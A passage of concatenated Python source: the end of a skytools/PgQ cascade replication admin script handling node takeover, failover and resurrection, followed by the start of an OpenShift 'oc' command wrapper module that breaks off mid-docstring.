raise UsageError('node still has subscribers')
except skytools.DBError:
pass
try:
# unregister node location from root node (event will be added to queue)
if node and node.type == 'root':
pass
else:
root_db = self.find_root_db()
q = "select * from pgq_node.unregister_location(%s, %s)"
self.exec_cmd(root_db, q, [self.queue_name, node_name])
except(skytools.DBError) as err:
self.log.warning("Unregister from root failed: %s", str(err))
try:
# drop node info
db = self.get_node_database(node_name)
q = "select * from pgq_node.drop_node(%s, %s)"
self.exec_cmd(db, q, [self.queue_name, node_name])
except(skytools.DBError) as err:
self.log.warning("Local drop failure: %s", str(err))
# brute force removal
for n in self.queue_info.member_map.values():
try:
q = "select * from pgq_node.drop_node(%s, %s)"
self.node_cmd(n.name, q, [self.queue_name, node_name])
except(skytools.DBError) as err:
self.log.warning("Failed to remove from '%s': %s", n.name, str(err))
def node_depends(self, sub_node, top_node):
cur_node = sub_node
# walk upstream
while 1:
info = self.get_node_info(cur_node)
if cur_node == top_node:
# yes, top_node is sub_node's provider
return True
if info.type == 'root':
# found root, no dependancy
return False
# step upwards
cur_node = info.provider_node
def demote_node(self, oldnode, step, newnode):
"""Downgrade old root?"""
q = "select * from pgq_node.demote_root(%s, %s, %s)"
res = self.node_cmd(oldnode, q, [self.queue_name, step, newnode])
if res:
return res[0]['last_tick']
def promote_branch(self, node):
"""Promote old branch as root."""
q = "select * from pgq_node.promote_branch(%s)"
self.node_cmd(node, q, [self.queue_name])
def wait_for_catchup(self, new, last_tick):
"""Wait until new_node catches up to old_node."""
# wait for it on subscriber
info = self.load_node_info(new)
if info.completed_tick >= last_tick:
self.log.info('tick already exists')
return info
if info.paused:
self.log.info('new node seems paused, resuming')
self.resume_node(new)
while 1:
self.log.debug('waiting for catchup: need=%d, cur=%d', last_tick, info.completed_tick)
time.sleep(1)
info = self.load_node_info(new)
if info.completed_tick >= last_tick:
return info
def takeover_root(self, old_node_name, new_node_name, failover = False):
"""Root switchover."""
new_info = self.get_node_info(new_node_name)
old_info = None
if self.node_alive(old_node_name):
# old root works, switch properly
old_info = self.get_node_info(old_node_name)
self.pause_node(old_node_name)
self.demote_node(old_node_name, 1, new_node_name)
last_tick = self.demote_node(old_node_name, 2, new_node_name)
self.wait_for_catchup(new_node_name, last_tick)
else:
# find latest tick on local node
q = "select * from pgq.get_queue_info(%s)"
db = self.get_node_database(new_node_name)
curs = db.cursor()
curs.execute(q, [self.queue_name])
row = curs.fetchone()
last_tick = row['last_tick_id']
db.commit()
# find if any other node has more ticks
other_node = None
other_tick = last_tick
sublist = self.find_subscribers_for(old_node_name)
for n in sublist:
q = "select * from pgq_node.get_node_info(%s)"
rows = self.node_cmd(n, q, [self.queue_name])
info = rows[0]
if info['worker_last_tick'] > other_tick:
other_tick = info['worker_last_tick']
other_node = n
# if yes, load batches from there
if other_node:
self.change_provider(new_node_name, new_provider = other_node)
self.wait_for_catchup(new_node_name, other_tick)
last_tick = other_tick
# promote new root
self.pause_node(new_node_name)
self.promote_branch(new_node_name)
# register old root on new root as subscriber
if self.node_alive(old_node_name):
old_worker_name = old_info.worker_name
else:
old_worker_name = self.failover_consumer_name(old_node_name)
q = 'select * from pgq_node.register_subscriber(%s, %s, %s, %s)'
self.node_cmd(new_node_name, q, [self.queue_name, old_node_name, old_worker_name, last_tick])
# unregister new root from old root
q = "select * from pgq_node.unregister_subscriber(%s, %s)"
self.node_cmd(new_info.provider_node, q, [self.queue_name, new_node_name])
# launch new node
self.resume_node(new_node_name)
# demote & launch old node
if self.node_alive(old_node_name):
self.demote_node(old_node_name, 3, new_node_name)
self.resume_node(old_node_name)
def takeover_nonroot(self, old_node_name, new_node_name, failover):
"""Non-root switchover."""
if self.node_depends(new_node_name, old_node_name):
# yes, old_node is new_nodes provider,
# switch it around
pnode = self.find_provider(old_node_name)
self.node_change_provider(new_node_name, pnode)
self.node_change_provider(old_node_name, new_node_name)
def cmd_takeover(self, old_node_name):
"""Generic node switchover."""
self.log.info("old: %s", old_node_name)
self.load_local_info()
new_node_name = self.options.node
if not new_node_name:
worker = self.options.consumer
if not worker:
raise UsageError('old node not given')
if self.queue_info.local_node.worker_name != worker:
raise UsageError('old node not given')
new_node_name = self.local_node
if not old_node_name:
raise UsageError('old node not given')
if old_node_name not in self.queue_info.member_map:
raise UsageError('Unknown node: %s' % old_node_name)
if self.options.dead_root:
otype = 'root'
failover = True
elif self.options.dead_branch:
otype = 'branch'
failover = True
else:
onode = self.get_node_info(old_node_name)
otype = onode.type
failover = False
if failover:
self.cmd_tag_dead(old_node_name)
new_node = self.get_node_info(new_node_name)
if old_node_name == new_node.name:
self.log.info("same node?")
return
if otype == 'root':
self.takeover_root(old_node_name, new_node_name, failover)
else:
self.takeover_nonroot(old_node_name, new_node_name, failover)
# switch subscribers around
if self.options.all or failover:
for n in self.find_subscribers_for(old_node_name):
if n != new_node_name:
self.node_change_provider(n, new_node_name)
def find_provider(self, node_name):
if self.node_alive(node_name):
info = self.get_node_info(node_name)
return info.provider_node
nodelist = self.queue_info.member_map.keys()
for n in nodelist:
if n == node_name:
continue
if not self.node_alive(n):
continue
if node_name in self.get_node_subscriber_list(n):
return n
return self.find_root_node()
def find_subscribers_for(self, parent_node_name):
"""Find subscribers for particular node."""
# use dict to eliminate duplicates
res = {}
nodelist = self.queue_info.member_map.keys()
for node_name in nodelist:
if node_name == parent_node_name:
continue
if not self.node_alive(node_name):
continue
n = self.get_node_info(node_name)
if not n:
continue
if n.provider_node == parent_node_name:
res[n.name] = 1
return res.keys()
def cmd_tag_dead(self, dead_node_name):
self.load_local_info()
# tag node dead in memory
self.log.info("Tagging node '%s' as dead", dead_node_name)
self.queue_info.tag_dead(dead_node_name)
# tag node dead in local node
q = "select * from pgq_node.register_location(%s, %s, null, true)"
self.node_cmd(self.local_node, q, [self.queue_name, dead_node_name])
# tag node dead in other nodes
nodelist = self.queue_info.member_map.keys()
for node_name in nodelist:
if not self.node_alive(node_name):
continue
if node_name == dead_node_name:
continue
if node_name == self.local_node:
continue
try:
q = "select * from pgq_node.register_location(%s, %s, null, true)"
self.node_cmd(node_name, q, [self.queue_name, dead_node_name])
except(DBError) as err:
msg = str(err).strip().split('\n', 1)[0]
print('Node %s failure: %s' % (node_name, msg))
self.close_node_database(node_name)
def cmd_pause(self):
"""Pause a node"""
self.load_local_info()
node, consumer = self.find_consumer()
self.pause_consumer(node, consumer)
def cmd_resume(self):
"""Resume a node from pause."""
self.load_local_info()
node, consumer = self.find_consumer()
self.resume_consumer(node, consumer)
def cmd_members(self):
"""Show member list."""
self.load_local_info()
db = self.get_database(self.initial_db_name)
desc = 'Member info on %s@%s:' % (self.local_node, self.queue_name)
q = "select node_name, dead, node_location"\
" from pgq_node.get_queue_locations(%s) order by 1"
self.display_table(db, desc, q, [self.queue_name])
def cmd_node_info(self):
self.load_local_info()
q = self.queue_info
n = q.local_node
m = q.get_member(n.name)
stlist = []
if m.dead:
stlist.append('DEAD')
if n.paused:
stlist.append("PAUSED")
if not n.uptodate:
stlist.append("NON-UP-TO-DATE")
st = ', '.join(stlist)
if not st:
st = 'OK'
print('Node: %s Type: %s Queue: %s' % (n.name, n.type, q.queue_name))
print('Status: %s' % st)
if n.type != 'root':
print('Provider: %s' % n.provider_node)
else:
print('Provider: --')
print('Connect strings:')
print(' Local : %s' % self.cf.get('db'))
print(' Public : %s' % m.location)
if n.type != 'root':
print(' Provider: %s' % n.provider_location)
if n.combined_queue:
print('Combined Queue: %s (node type: %s)' % (n.combined_queue, n.combined_type))
def cmd_wait_root(self):
"""Wait for next tick from root."""
self.load_local_info()
if self.queue_info.local_node.type == 'root':
self.log.info("Current node is root, no need to wait")
return
self.log.info("Finding root node")
root_node = self.find_root_node()
self.log.info("Root is %s", root_node)
dst_db = self.get_database(self.initial_db_name)
self.wait_for_node(dst_db, root_node)
def cmd_wait_provider(self):
"""Wait for next tick from provider."""
self.load_local_info()
if self.queue_info.local_node.type == 'root':
self.log.info("Current node is root, no need to wait")
return
dst_db = self.get_database(self.initial_db_name)
node = self.queue_info.local_node.provider_node
self.log.info("Provider is %s", node)
self.wait_for_node(dst_db, node)
def wait_for_node(self, dst_db, node_name):
"""Core logic for waiting."""
self.log.info("Fetching last tick for %s", node_name)
node_info = self.load_node_info(node_name)
tick_id = node_info.last_tick
self.log.info("Waiting for tick > %d", tick_id)
q = "select * from pgq_node.get_node_info(%s)"
dst_curs = dst_db.cursor()
while 1:
dst_curs.execute(q, [self.queue_name])
row = dst_curs.fetchone()
dst_db.commit()
if row['ret_code'] >= 300:
self.log.warning("Problem: %s", row['ret_code'], row['ret_note'])
return
if row['worker_last_tick'] > tick_id:
self.log.info("Got tick %d, exiting", row['worker_last_tick'])
break
self.sleep(2)
def cmd_resurrect(self):
"""Convert out-of-sync old root to branch and sync queue contents.
"""
self.load_local_info()
db = self.get_database(self.initial_db_name)
curs = db.cursor()
# stop if leaf
if self.queue_info.local_node.type == 'leaf':
self.log.info("Current node is leaf, nothing to do")
return
# stop if dump file exists
if os.path.lexists(RESURRECT_DUMP_FILE):
self.log.error("Dump file exists, cannot perform resurrection: %s", RESURRECT_DUMP_FILE)
sys.exit(1)
#
# Find failover position
#
self.log.info("** Searching for gravestone **")
# load subscribers
sub_list = []
q = "select * from pgq_node.get_subscriber_info(%s)"
curs.execute(q, [self.queue_name])
for row in curs.fetchall():
sub_list.append(row['node_name'])
db.commit()
# find backup subscription
this_node = self.queue_info.local_node.name
failover_cons = self.failover_consumer_name(this_node)
full_list = self.queue_info.member_map.keys()
done_nodes = { this_node: 1 }
prov_node = None
root_node = None
for node_name in sub_list + full_list:
if node_name in done_nodes:
continue
done_nodes[node_name] = 1
if not self.node_alive(node_name):
self.log.info('Node %s is dead, skipping', node_name)
continue
self.log.info('Looking on node %s', node_name)
node_db = None
try:
node_db = self.get_node_database(node_name)
node_curs = node_db.cursor()
node_curs.execute("select * from pgq.get_consumer_info(%s, %s)", [self.queue_name, failover_cons])
cons_rows = node_curs.fetchall()
node_curs.execute("select * from pgq_node.get_node_info(%s)", [self.queue_name])
node_info = node_curs.fetchone()
node_db.commit()
if len(cons_rows) == 1:
if prov_node:
raise Exception('Unexpected situation: there are two gravestones - on nodes %s and %s' % (prov_node, node_name))
prov_node = node_name
failover_tick = cons_rows[0]['last_tick']
self.log.info("Found gravestone on node: %s", node_name)
if node_info['node_type'] == 'root':
self.log.info("Found new root node: %s", node_name)
root_node = node_name
self.close_node_database(node_name)
node_db = None
if root_node and prov_node:
break
except skytools.DBError:
self.log.warning("failed to check node %s", node_name)
if node_db:
self.close_node_database(node_name)
node_db = None
if not root_node:
self.log.error("Cannot find new root node", failover_cons)
sys.exit(1)
if not prov_node:
self.log.error("Cannot find failover position (%s)", failover_cons)
sys.exit(1)
# load worker state
q = "select * from pgq_node.get_worker_state(%s)"
rows = self.exec_cmd(db, q, [self.queue_name])
state = rows[0]
# demote & pause
self.log.info("** Demote & pause local node **")
if self.queue_info.local_node.type == 'root':
self.log.info('Node %s is root, demoting', this_node)
q = "select * from pgq_node.demote_root(%s, %s, %s)"
self.exec_cmd(db, q, [self.queue_name, 1, prov_node])
self.exec_cmd(db, q, [self.queue_name, 2, prov_node])
# change node type and set worker paused in same TX
curs = db.cursor()
self.exec_cmd(curs, q, [self.queue_name, 3, prov_node])
q = "select * from pgq_node.set_consumer_paused(%s, %s, true)"
self.exec_cmd(curs, q, [self.queue_name, state['worker_name']])
db.commit()
elif not state['paused']:
# pause worker, don't wait for reaction, as it may be dead
self.log.info('Node %s is branch, pausing worker: %s', this_node, state['worker_name'])
q = "select * from pgq_node.set_consumer_paused(%s, %s, true)"
self.exec_cmd(db, q, [self.queue_name, state['worker_name']])
else:
self.log.info('Node %s is branch and worker is paused', this_node)
#
# Drop old consumers and subscribers
#
self.log.info("** Dropping old subscribers and consumers **")
# unregister subscriber nodes
q = "select pgq_node.unregister_subscriber(%s, %s)"
for node_name in sub_list:
self.log.info("Dropping old subscriber node: %s", node_name)
curs.execute(q, [self.queue_name, node_name])
# unregister consumers
q = "select consumer_name from pgq.get_consumer_info(%s)"
curs.execute(q, [self.queue_name])
for row in curs.fetchall():
cname = row['consumer_name']
if cname[0] == '.':
self.log.info("Keeping consumer: %s", cname)
continue
self.log.info("Dropping old consumer: %s", cname)
q = "pgq.unregister_consumer(%s, %s)"
curs.execute(q, [self.queue_name, cname])
db.commit()
# dump events
self.log.info("** Dump & delete lost events **")
stats = self.resurrect_process_lost_events(db, failover_tick)
self.log.info("** Subscribing %s to %s **", this_node, prov_node)
# set local position
self.log.info("Reset local completed pos")
q = "select * from pgq_node.set_consumer_completed(%s, %s, %s)"
self.exec_cmd(db, q, [self.queue_name, state['worker_name'], failover_tick])
# rename gravestone
self.log.info("Rename gravestone to worker: %s", state['worker_name'])
prov_db = self.get_node_database(prov_node)
prov_curs = prov_db.cursor()
q = "select * from pgq_node.unregister_subscriber(%s, %s)"
self.exec_cmd(prov_curs, q, [self.queue_name, this_node], quiet = True)
q = "select ret_code, ret_note, global_watermark"\
" from pgq_node.register_subscriber(%s, %s, %s, %s)"
res = self.exec_cmd(prov_curs, q, [self.queue_name, this_node, state['worker_name'], failover_tick], quiet = True)
global_wm = res[0]['global_watermark']
prov_db.commit()
# import new global watermark
self.log.info("Reset global watermark")
q = "select * from pgq_node.set_global_watermark(%s, %s)"
self.exec_cmd(db, q, [self.queue_name, global_wm], quiet = True)
# show stats
if stats:
self.log.info("** Statistics **")
klist = stats.keys()
klist.sort()
for k in klist:
v = stats[k]
self.log.info(" %s: %s", k, v)
self.log.info("** Resurrection done, worker paused **")
def resurrect_process_lost_events(self, db, failover_tick):
curs = db.cursor()
this_node = self.queue_info.local_node.name
cons_name = this_node + '.dumper'
self.log.info("Dumping lost events")
# register temp consumer on queue
q = "select pgq.register_consumer_at(%s, %s, %s)"
curs.execute(q, [self.queue_name, cons_name, failover_tick])
db.commit()
# process events as usual
total_count = 0
final_tick_id = -1
stats = {}
while 1:
q = "select * from pgq.next_batch_info(%s, %s)"
curs.execute(q, [self.queue_name, cons_name])
b = curs.fetchone()
batch_id = b['batch_id']
if batch_id is None:
break
final_tick_id = b['cur_tick_id']
q = "select * from pgq.get_batch_events(%s)"
curs.execute(q, [batch_id])
cnt = 0
for ev in curs.fetchall():
cnt += 1
total_count += 1
self.resurrect_dump_event(ev, stats, b)
q = "select pgq.finish_batch(%s)"
curs.execute(q, [batch_id])
if cnt > 0:
db.commit()
stats['dumped_count'] = total_count
self.resurrect_dump_finish()
self.log.info("%s events dumped", total_count)
# unregiser consumer
q = "select pgq.unregister_consumer(%s, %s)"
curs.execute(q, [self.queue_name, cons_name])
db.commit()
if failover_tick == final_tick_id:
self.log.info("No batches found")
return None
#
# Delete the events from queue
#
# This is done snapshots, to make sure we delete only events
# that were dumped out previously. This uses the long-tx
# resistant logic described in pgq.batch_event_sql().
#
# find snapshots
q = "select t1.tick_snapshot as s1, t2.tick_snapshot as s2"\
" from pgq.tick t1, pgq.tick t2"\
" where t1.tick_id = %s"\
" and t2.tick_id = %s"
curs.execute(q, [failover_tick, final_tick_id])
ticks = curs.fetchone()
s1 = skytools.Snapshot(ticks['s1'])
s2 = skytools.Snapshot(ticks['s2'])
xlist = []
for tx in s1.txid_list:
if s2.contains(tx):
xlist.append(str(tx))
# create where clauses
W1 = None
if len(xlist) > 0:
W1 = "ev_txid in (%s)" % (",".join(xlist),)
W2 = "ev_txid >= %d AND ev_txid <= %d"\
" and not txid_visible_in_snapshot(ev_txid, '%s')"\
" and txid_visible_in_snapshot(ev_txid, '%s')" % (
s1.xmax, s2.xmax, ticks['s1'], ticks['s2'])
# loop over all queue data tables
q = "select * from pgq.queue where queue_name = %s"
curs.execute(q, [self.queue_name])
row = curs.fetchone()
ntables = row['queue_ntables']
tbl_pfx = row['queue_data_pfx']
schema, table = tbl_pfx.split('.')
total_del_count = 0
self.log.info("Deleting lost events")
for i in range(ntables):
del_count = 0
self.log.debug("Deleting events from table %d", i)
qtbl = "%s.%s" % (skytools.quote_ident(schema),
skytools.quote_ident(table + '_' + str(i)))
q = "delete from " + qtbl + " where "
if W1:
self.log.debug(q + W1)
curs.execute(q + W1)
if curs.rowcount and curs.rowcount > 0:
del_count += curs.rowcount
self.log.debug(q + W2)
curs.execute(q + W2)
if curs.rowcount and curs.rowcount > 0:
del_count += curs.rowcount
total_del_count += del_count
self.log.debug('%d events deleted', del_count)
self.log.info('%d events deleted', total_del_count)
stats['deleted_count'] = total_del_count
# delete new ticks
q = "delete from pgq.tick t using pgq.queue q"\
" where q.queue_name = %s"\
" and t.tick_queue = q.queue_id"\
" and t.tick_id > %s"\
" and t.tick_id <= %s"
curs.execute(q, [self.queue_name, failover_tick, final_tick_id])
self.log.info("%s ticks deleted", curs.rowcount)
db.commit()
return stats
_json_dump_file = None
def resurrect_dump_event(self, ev, stats, batch_info):
if self._json_dump_file is None:
self._json_dump_file = open(RESURRECT_DUMP_FILE, 'w')
sep = '['
else:
sep = ','
# create ordinary dict to avoid problems with row class and datetime
d = {
'ev_id': ev.ev_id,
'ev_type': ev.ev_type,
'ev_data': ev.ev_data,
'ev_extra1': ev.ev_extra1,
'ev_extra2': ev.ev_extra2,
'ev_extra3': ev.ev_extra3,
'ev_extra4': ev.ev_extra4,
'ev_time': ev.ev_time.isoformat(),
'ev_txid': ev.ev_txid,
'ev_retry': ev.ev_retry,
'tick_id': batch_info['cur_tick_id'],
'prev_tick_id': batch_info['prev_tick_id'],
}
jsev = skytools.json_encode(d)
s = sep + '\n' + jsev
self._json_dump_file.write(s)
def resurrect_dump_finish(self):
if self._json_dump_file:
self._json_dump_file.write('\n]\n')
self._json_dump_file.close()
self._json_dump_file = None
def failover_consumer_name(self, node_name):
return node_name + ".gravestone"
#
# Shortcuts for operating on nodes.
#
def load_local_info(self):
"""fetch set info from local node."""
db = self.get_database(self.initial_db_name)
self.queue_info = self.load_queue_info(db)
self.local_node = self.queue_info.local_node.name
def get_node_database(self, node_name):
"""Connect to node."""
if node_name == self.queue_info.local_node.name:
db = self.get_database(self.initial_db_name)
else:
m = self.queue_info.get_member(node_name)
if not m:
self.log.error("get_node_database: cannot resolve %s", node_name)
sys.exit(1)
#self.log.info("%s: dead=%s", m.name, m.dead)
if m.dead:
return None
loc = m.location
db = self.get_database('node.' + node_name, connstr = loc, profile = 'remote')
return db
def node_alive(self, node_name):
m = self.queue_info.get_member(node_name)
if not m:
res = False
elif m.dead:
res = False
else:
res = True
#self.log.warning('node_alive(%s) = %s', node_name, res)
return res
def close_node_database(self, node_name):
"""Disconnect node's connection."""
if node_name == self.queue_info.local_node.name:
self.close_database(self.initial_db_name)
else:
self.close_database("node." + node_name)
def node_cmd(self, node_name, sql, args, quiet = False):
"""Execute SQL command on particular node."""
db = self.get_node_database(node_name)
if not db:
self.log.warning("ignoring cmd for dead node '%s': %s",
node_name, skytools.quote_statement(sql, args))
return None
return self.exec_cmd(db, sql, args, quiet = quiet, prefix=node_name)
#
# Various operation on nodes.
#
def set_paused(self, node, consumer, pause_flag):
"""Set node pause flag and wait for confirmation."""
q = "select * from pgq_node.set_consumer_paused(%s, %s, %s)"
self.node_cmd(node, q, [self.queue_name, consumer, pause_flag])
self.log.info('Waiting for worker to accept')
while 1:
q = "select * from pgq_node.get_consumer_state(%s, %s)"
stat = self.node_cmd(node, q, [self.queue_name, consumer], quiet = 1)[0]
if stat['paused'] != pause_flag:
raise Exception('operation canceled? %s <> %s' % (repr(stat['paused']), repr(pause_flag)))
if stat['uptodate']:
op = pause_flag and "paused" or "resumed"
self.log.info("Consumer '%s' on node '%s' %s", consumer, node, op)
return
time.sleep(1)
raise Exception('process canceled')
def pause_consumer(self, node, consumer):
"""Shortcut for pausing by name."""
self.set_paused(node, consumer, True)
def resume_consumer(self, node, consumer):
"""Shortcut for resuming by name."""
self.set_paused(node, consumer, False)
def pause_node(self, node):
"""Shortcut for pausing by name."""
state = self.get_node_info(node)
self.pause_consumer(node, state.worker_name)
def resume_node(self, node):
"""Shortcut for resuming by name."""
state = self.get_node_info(node)
if state:
self.resume_consumer(node, state.worker_name)
def subscribe_node(self, target_node, subscriber_node, tick_pos):
"""Subscribing one node to another."""
q = "select * from pgq_node.subscribe_node(%s, %s, %s)"
self.node_cmd(target_node, q, [self.queue_name, subscriber_node, tick_pos])
def unsubscribe_node(self, target_node, subscriber_node):
"""Unsubscribing one node from another."""
q = "select * from pgq_node.unsubscribe_node(%s, %s)"
self.node_cmd(target_node, q, [self.queue_name, subscriber_node])
_node_cache = {}
def get_node_info(self, node_name):
"""Cached node info lookup."""
if node_name in self._node_cache:
return self._node_cache[node_name]
inf = self.load_node_info(node_name)
self._node_cache[node_name] = inf
return inf
def load_node_info(self, node_name):
"""Non-cached node info lookup."""
db = self.get_node_database(node_name)
if not db:
self.log.warning('load_node_info(%s): ignoring dead node', node_name)
return None
q = "select * from pgq_node.get_node_info(%s)"
rows = self.exec_query(db, q, [self.queue_name])
return NodeInfo(self.queue_name, rows[0])
def load_queue_info(self, db):
"""Non-cached set info lookup."""
res = self.exec_query(db, "select * from pgq_node.get_node_info(%s)", [self.queue_name])
info = res[0]
q = "select * from pgq_node.get_queue_locations(%s)"
member_list = self.exec_query(db, q, [self.queue_name])
qinf = QueueInfo(self.queue_name, info, member_list)
if self.options.dead:
for node in self.options.dead:
self.log.info("Assuming node '%s' as dead", node)
qinf.tag_dead(node)
return qinf
def get_node_subscriber_list(self, node_name):
"""Fetch subscriber list from a node."""
q = "select node_name, node_watermark from pgq_node.get_subscriber_info(%s)"
db = self.get_node_database(node_name)
rows = self.exec_query(db, q, [self.queue_name])
return [r['node_name'] for r in rows]
def get_node_consumer_map(self, node_name):
"""Fetch consumer list from a node."""
q = "select consumer_name, provider_node, last_tick_id from pgq_node.get_consumer_info(%s)"
db = self.get_node_database(node_name)
rows = self.exec_query(db, q, [self.queue_name])
res = {}
for r in rows:
res[r['consumer_name']] = r
return res
if __name__ == '__main__':
script = CascadeAdmin('setadm', 'node_db', sys.argv[1:], worker_setup = False)
script.start()
|
__init__.py
|
import json
import logging
import threading
import time
import sh
from sh import ErrorReturnCode, TimeoutException
from subprocess import PIPE
from subprocess import Popen
from wait_for import wait_for, TimedOutError
log = logging.getLogger(__name__)
logging.getLogger("sh").setLevel(logging.CRITICAL)
# Resource types and their cli shortcuts
# Mostly listed here: https://docs.openshift.com/online/cli_reference/basic_cli_operations.html
# TODO: query api to get the list of all known resource types on the cluster dynamically
SHORTCUTS = {
"build": None,
"buildconfig": "bc",
"daemonset": "ds",
"deployment": "deploy",
"deploymentconfig": "dc",
"event": "ev",
"imagestream": "is",
"imagestreamtag": "istag",
"imagestreamimage": "isimage",
"job": None,
"limitrange": "limits",
"namespace": "ns",
"node": "no",
"pod": "po",
"project": "project",
"resourcequota": "quota",
"replicationcontroller": "rc",
"secrets": "secret",
"service": "svc",
"serviceaccount": "sa",
"statefulset": "sts",
"persistentvolume": "pv",
"persistentvolumeclaim": "pvc",
"configmap": "cm",
"replicaset": "rs",
"route": None,
"clowdenvironment": None,
"clowdapp": None,
}
def traverse_keys(d, keys, default=None):
"""
Allows you to look up a 'path' of keys in nested dicts without knowing whether each key exists
"""
key = keys.pop(0)
item = d.get(key, default)
if len(keys) == 0:
return item
if not item:
return default
return traverse_keys(item, keys, default)
def parse_restype(string):
"""
Given a resource type or its shortcut, return the full resource type name.
"""
string_lower = string.lower()
if string_lower in SHORTCUTS:
return string_lower
for resource_name, shortcut in SHORTCUTS.items():
if string_lower == shortcut:
return resource_name
raise ValueError("Unknown resource type: {}".format(string))
def _only_immutable_errors(err_lines):
return all("field is immutable after creation" in line.lower() for line in err_lines)
def _conflicts_found(err_lines):
return any("error from server (conflict)" in line.lower() for line in err_lines)
def _get_logging_args(args, kwargs):
# Format the cmd args/kwargs for log printing before the command is run
cmd_args = " ".join([str(arg) for arg in args if arg is not None])
cmd_kwargs = []
for key, val in kwargs.items():
if key.startswith("_"):
continue
if len(key) > 1:
cmd_kwargs.append("--{} {}".format(key, val))
else:
cmd_kwargs.append("-{} {}".format(key, val))
cmd_kwargs = " ".join(cmd_kwargs)
return cmd_args, cmd_kwargs
def _exec_oc(*args, **kwargs):
_silent = kwargs.pop("_silent", False)
_hide_output = kwargs.pop("_hide_output", False)
_ignore_immutable = kwargs.pop("_ignore_immutable", True)
_retry_conflicts = kwargs.pop("_retry_conflicts", True)
_stdout_log_prefix = kwargs.pop("_stdout_log_prefix", " |stdout| ")
_stderr_log_prefix = kwargs.pop("_stderr_log_prefix", " |stderr| ")
kwargs["_bg"] = True
kwargs["_bg_exc"] = False
err_lines = []
out_lines = []
def _err_line_handler(line, _, process):
threading.current_thread().name = f"pid-{process.pid}"
log.info("%s%s", _stderr_log_prefix, line.rstrip())
err_lines.append(line)
def _out_line_handler(line, _, process):
threading.current_thread().name = f"pid-{process.pid}"
if not _silent and not _hide_output:
log.info("%s%s", _stdout_log_prefix, line.rstrip())
out_lines.append(line)
retries = 3
last_err = None
for count in range(1, retries + 1):
cmd = sh.oc(*args, **kwargs, _tee=True, _out=_out_line_handler, _err=_err_line_handler)
if not _silent:
cmd_args, cmd_kwargs = _get_logging_args(args, kwargs)
log.info("running (pid %d): oc %s %s", cmd.pid, cmd_args, cmd_kwargs)
try:
return cmd.wait()
except ErrorReturnCode as err:
# Sometimes stdout/stderr is empty in the exception even though we appended
# data in the callback. Perhaps buffers are not being flushed ... so just
# set the out lines/err lines we captured on the Exception before re-raising it by
# re-init'ing the err and causing it to rebuild its message template.
#
# see https://github.com/amoffat/sh/blob/master/sh.py#L381
err.__init__(
full_cmd=err.full_cmd,
stdout="\n".join(out_lines).encode(),
stderr="\n".join(err_lines).encode(),
truncate=err.truncate,
)
# Make these plain strings for easier exception handling
err.stdout = "\n".join(out_lines)
err.stderr = "\n".join(err_lines)
last_err = err
# Ignore warnings that are printed to stderr in our error analysis
err_lines = [line for line in err_lines if not line.lstrip().startswith("Warning:")]
# Check if these are errors we should handle
if _ignore_immutable and _only_immutable_errors(err_lines):
log.warning("Ignoring immutable field errors")
break
elif _retry_conflicts and _conflicts_found(err_lines):
log.warning(
"Hit resource conflict, retrying in 1 sec (attempt %d/%d)",
count,
retries,
)
time.sleep(1)
continue
# Bail if not
raise last_err
else:
log.error("Retried %d times, giving up", retries)
raise last_err
def oc(*args, **kwargs):
"""
Run 'sh.oc' and print the command, show output, catch errors, etc.
Optional kwargs:
_ignore_errors: if ErrorReturnCode is hit, don't re-raise it (default False)
_silent: don't print command or resulting stdout (default False)
_ignore_immutable: ignore errors related to immutable objects (default True)
_retry_conflicts: retry commands if a conflict error is hit
_stdout_log_prefix: prefix this string to stdout log output (default " |stdout| ")
_stderr_log_prefix: prefix this string to stderr log output (default " |stderr| ")
Returns:
None if cmd fails and _exit_on_err is False
command output (str) if command succeeds
"""
_ignore_errors = kwargs.pop("_ignore_errors", False)
# The _silent/_ignore_immutable/_retry_conflicts kwargs are passed on so don't pop them yet
try:
return _exec_oc(*args, **kwargs)
except ErrorReturnCode:
if not _ignore_errors:
raise
else:
if not kwargs.get("_silent"):
log.warning("Non-zero return code ignored")
def apply_config(namespace, list_resource):
"""
Apply a k8s List of items to a namespace
"""
oc("apply", "-f", "-", "-n", namespace, _in=json.dumps(list_resource))
def get_json(restype, name=None, label=None, namespace=None):
"""
Run 'oc get' for a given resource type/name/label and return the json output.
If name is None all resources of this type are returned
If label is not provided, then "oc get" will not be filtered on label
"""
restype = parse_restype(restype)
args = ["get", restype]
if name:
args.append(name)
if label:
args.extend(["-l", label])
if namespace:
args.extend(["-n", namespace])
try:
output = oc(*args, o="json", _silent=True)
except ErrorReturnCode as err:
if "NotFound" in err.stderr:
return {}
raise
try:
parsed_json = json.loads(str(output))
except ValueError:
return {}
return parsed_json
def get_routes(namespace):
"""
Get all routes in the project.
Return dict with key of service name, value of http route
"""
data = get_json("route", namespace=namespace)
ret = {}
for route in data.get("items", []):
ret[route["metadata"]["name"]] = route["spec"]["host"]
return ret
class StatusError(Exception):
pass
_CHECKABLE_RESOURCES = ["deploymentconfig", "deployment", "statefulset", "daemonset"]
def _check_status_for_restype(restype, json_data):
"""
Depending on the resource type, check that it is "ready" or "complete"
Uses the status json from an 'oc get'
Returns True if ready, False if not.
"""
restype = parse_restype(restype)
if restype != "pod" and restype not in _CHECKABLE_RESOURCES:
raise ValueError(f"Checking status for resource type {restype} currently not supported")
try:
status = json_data["status"]
except KeyError:
status = None
if not status:
return False
if restype == "deploymentconfig" or restype == "deployment":
spec_replicas = json_data["spec"]["replicas"]
available_replicas = status.get("availableReplicas", 0)
updated_replicas = status.get("updatedReplicas", 0)
unavailable_replicas = status.get("unavailableReplicas", 1)
if unavailable_replicas == 0:
if available_replicas == spec_replicas and updated_replicas == spec_replicas:
return True
elif restype == "statefulset":
spec_replicas = json_data["spec"]["replicas"]
ready_replicas = status.get("readyReplicas", 0)
return ready_replicas == spec_replicas
elif restype == "daemonset":
desired = status.get("desiredNumberScheduled", 1)
available = status.get("numberAvailable")
return desired == available
elif restype == "pod":
if status.get("phase").lower() == "running":
return True
def _wait_with_periodic_status_check(namespace, timeout, key, restype, name):
"""Check if resource is ready using _check_status_for_restype, periodically log an update."""
time_last_logged = time.time()
time_remaining = timeout
def _ready():
nonlocal time_last_logged, time_remaining
j = get_json(restype, name, namespace=namespace)
if _check_status_for_restype(restype, j):
return True
if time.time() > time_last_logged + 60:
time_remaining -= 60
if time_remaining:
log.info("[%s] waiting %dsec longer", key, time_remaining)
time_last_logged = time.time()
return False
wait_for(
_ready,
timeout=timeout,
delay=5,
message="wait for '{}' to be ready".format(key),
)
def wait_for_ready(namespace, restype, name, timeout=300, _result_dict=None):
"""
Wait {timeout} for resource to be complete/ready/active.
Args:
